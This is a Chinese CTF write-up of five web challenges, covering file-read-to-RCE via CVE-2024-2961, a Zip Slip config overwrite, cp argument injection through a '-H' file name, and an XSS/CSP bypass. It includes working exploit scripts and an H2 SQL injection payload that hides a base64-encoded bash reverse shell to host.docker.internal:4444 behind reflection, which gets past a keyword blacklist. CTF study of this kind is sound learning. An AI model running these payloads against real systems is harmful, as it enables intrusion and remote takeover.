N1的2月题

看看2月题,一定要全部搞懂。

1.Gavatar:

看看签到题。

刚进入页面的登录没什么可以操作的,不是一个注入。关键在上传头像。

创建头像

可以看到可以通过链接的方式上传头像。再看源码:

elseif (!empty($_POST['url'])) {
    $image = @file_get_contents($_POST['url']);
    if ($image === false) die('Invalid URL');
    file_put_contents($avatarPath, $image);

这里发现一个没有任何过滤的file_get_contents函数,意味着可以通过这个函数进行本地任意文件读取。

在给出的源码中有一个readflag.go文件,我猜测我要使用命令去读取flag文件。

此时就需要将这个任意文件读取进一步形成任意命令执行。

这里看到一个cve:

CVE-2024-2961
详细一点的
原作者

有现成的脚本,需要自己手改。

修改remote类:

def __init__(self, url: str) -> None:
        self.url = url
        self.session = Session()
        self.session.post(self.url + '/login.php', data={'username': 'admin', 'password': 'admin'})

    def send(self, path: str) -> Response:
        """Sends given `path` to the HTTP server. Returns the response.
        """
        return self.session.post(self.url + '/upload.php', data={'url': path})
    
    def download(self, path: str) -> bytes:
        """Returns the contents of a remote file.
        """
        path = f"php://filter/convert.base64-encode/resource={path}"
        _ = self.send(path)

        response = self.session.get(self.url + '/avatar.php', params={'user': 'admin'})
        return base64.decode(response.text)

我自己用的时候报错了,应该是本地容器的配置问题。正常情况应该就能拿到shell了。

ps:为什么一开始就会去看源码中的upload.php文件呢?因为我下载源码的时候就这玩意被杀软杀了。。

2.traefik

直接先看源码:

r.POST("/public/upload", func(c *gin.Context) {
		file, err := c.FormFile("file")
		if err != nil {
			c.JSON(400, gin.H{"error": "File upload failed"})
			return
		}

		randomFolder := randFileName()
		destDir := filepath.Join(uploadDir, randomFolder)

		if err := os.MkdirAll(destDir, 0755); err != nil {
			c.JSON(500, gin.H{"error": "Failed to create directory"})
			return
		}

		zipFilePath := filepath.Join(uploadDir, randomFolder+".zip")
		if err := c.SaveUploadedFile(file, zipFilePath); err != nil {
			c.JSON(500, gin.H{"error": "Failed to save uploaded file"})
			return
		}

		if err := unzipFile(zipFilePath, destDir); err != nil {
			c.JSON(500, gin.H{"error": "Failed to unzip file"})
			return
		}

		c.JSON(200, gin.H{
			"message": fmt.Sprintf("File uploaded and extracted successfully to %s", destDir),
		})
	})

	r.Run(":8080")

可以看出来这是一个很明显的文件上传,并且没有任何的waf。

于是我一开始犯了一个根本性的错误:我进行了一句话木马的上传。

然而,因为这个函数是由go语言编写的,不具备php文件的理解能力,所以就算没有过滤,我的木马也没有办法被成功执行。

于是要用到另一个技巧:Zip Slip

生成恶意zip:

import zipfile

if __name__ == "__main__":
    try:
        zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)  ##生成的zip文件
        info = zipfile.ZipInfo("poc.zip")
        zipFile.write("D:/tgao/pass/1", "../password", zipfile.ZIP_DEFLATED)  ##压缩的文件和在zip中显示的文件名
        zipFile.close()
    except IOError as e:
        raise e

上传的文件就是一个我们改写的配置文件,只要能访问到/flag就行:

 flag:
      rule: Path(`/flag`)
      entrypoints: [web]
      service: proxy
      middlewares:
        - add-x-forwarded-for

上传之后访问/flag拿到。 flag

ps:据说是容器有问题,文件上传成功了但是win里还是拿不到。。

3.backup

这道题没容器也没源码,只能看看wp写了。。

看了一下wp,好像是用命令执行去执行一个后门文件(题目backup应该就是这个意思了)

这里拿到shell后需要进行提权,这道题的重心应该就是这个。

提权

把backup.sh贴在这里:

#!/bin/bash
cd /var/www/html/primary
while :
do
    cp -P * /var/www/html/backup/
    chmod 755 -R /var/www/html/backup/
    sleep 15s

通过cp将/var/www/html/primary软链接(-p参数)复制到/var/www/html/backup/,使用chmod赋予可读权限。

“*” 可以匹配当前目录下的所有文件

在cp命令的手册中,-H可以跟随命令符号链接,意味这我们可以获取真实的文件内容,而不仅仅是软链接

我们可以创建一个名为 -H的文件实现参数的注入

echo “”>”-H”

这个时候我们可以创建软链接指向/flag

这个时候cp命令会将真实的flag做备份并且实现可读权限的赋予

ln -s /flag ff

现在cp执行的命令实际上是

cp -P -H ff /var/www/html/backup/ 等待15s后就可以访问flag。

4.easyDB

附件里面有个jar包,用jadx打开看看源码。(一直很讨厌这种,半天找不到主函数在哪)

可以看到有一段sql注入:

  public boolean validateUser(String username, String password) throws SQLException {
        String query = String.format("SELECT * FROM users WHERE username = '%s' AND password = '%s'", username, password);
        if (!SecurityUtils.check(query)) {
            return false;
        }

查看SecurityUtils函数,发现是一个黑名单:

 static {
        blackLists.add("runtime");
        blackLists.add("process");
        blackLists.add("exec");
        blackLists.add("shell");
        blackLists.add("file");
        blackLists.add("script");
        blackLists.add("groovy");
    }

那么现在的思路应该是怎么绕过进行注入。

在pom.xml中可以看到数据库是h2,结合readflag这个文件可以得知要rce。

根据h2的特性,我们可以自定义函数并指定别名。

因此构造payload如下:

';CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "test";}';CALL EXEC ('calc');--

因为禁用了exec,所以需要使用java反射进行绕过:

';CREATE ALIAS hello AS $$ String hello() throws Exception { Class c = Class.forName(new String(java.util.Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU=")));java.lang.reflect.Method m1 = c.getMethod(new String(java.util.Base64.getDecoder().decode("Z2V0UnVudGltZQ==")));Object o = m1.invoke(null);java.lang.reflect.Method m2 = c.getMethod(new String(java.util.Base64.getDecoder().decode("ZXhlYw==")), String[].class);m2.invoke(o, new Object[]{new String[]{"/bin/bash", "-c", new String(java.util.Base64.getDecoder().decode("YmFzaCAtaSA%2bJiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA%2bJjE="))}});return null; }$$; CALL hello();--

这样就可以顺利拿到shell了。

参考
还有稍微更详细的

之后就进行读取即可。

5.dispaly

源码还是比较少的,很容易看。

通过bot这个东西很容易看出来这是一个xss,所有的关键代码在index.js中。

function getQueryParam(param) {
    const urlParams = new URLSearchParams(window.location.search);
    return urlParams.get(param);
}

// Sanitize content using DOMPurify
function sanitizeContent(text) {
    // Only allow <h1>, <h2>, tags and plain text
    const config = {
        ALLOWED_TAGS: ['h1', 'h2']
    };
    return DOMPurify.sanitize(text, config);
}

document.addEventListener("DOMContentLoaded", function() {
    const textInput = document.getElementById('text-input');
    const insertButton = document.getElementById('insert-btn');
    const contentDisplay = document.getElementById('content-display');

    const queryText = getQueryParam('text');

    if (queryText) {
        const sanitizedText = sanitizeContent(atob(decodeURI(queryText)));

        if (sanitizedText.length > 0) {
            textInput.innerHTML = sanitizedText;             // 写入预览区
            contentDisplay.innerHTML = textInput.innerText;  // 写入效果显示区

            insertButton.disabled = false;    
        } else {
            textInput.innerText = "Only allow h1, h2 tags and plain text";
        }
    }
});

app中有csp头:

const csp = "script-src 'self'; object-src 'none'; base-uri 'none';";
app.use((req, res, next) => {
  res.setHeader('Content-Security-Policy', csp);
  next();
});

可以看到这里使用了白名单,只允许['h1', 'h2'],而不允许其他标签。

其实一个白名单就基本能防住了,但是后面代码乱搞使xss可以成功.

contentDisplay.innerHTML = textInput.innerText; 这就是漏洞的核心,这里发生了两件事:
textInput.innerText: 这是一个关键的属性。它会获取一个DOM元素被渲染后的纯文本内容。它会把所有的HTML标签都剥离掉。例如,如果textInput的内容是<h1>Hello <b>World</b></h1>,那么textInput.innerText返回的就是字符串”Hello World”。
contentDisplay.innerHTML = ...: 然后,代码将这个纯文本字符串,又一次当作HTML代码重新注入到了另一个元素contentDisplay中。

这个逻辑缺陷创造了一个“绕过净化”的机会:如果我们能构造一个输入,使得它经过DOMPurify净化后,其.innerText的内容恰好是一段恶意的HTML代码,那么当这段内容被重新赋给innerHTML时,XSS就会被触发。

这里实测下来虽然能成功上传,但是并不能被执行.

这是因为内容是动态放置在 <div> 内的,并且由于使用了innerHTML,因此脚本没有执行。这里主要的利用点在contentDisplay,通过将contentDisplay.innerHTML设置为一个正常的html标签,然后插入到DOM树中。

这里我们使用Iframe绕过绕过csp

现在就是CSP绕过了,script-src设置为了self。这个就是sekaictf 2024的熟悉操作了,这里直接利用404页面构造即可,还是那个操作,本地引用,前面闭合成多行注释符,后面直接的那行注释掉,留一个完整的js代码,还是用fetch()函数

这里wp用反弹shell,可以看看

更详细的一个

最后可以拿到flag.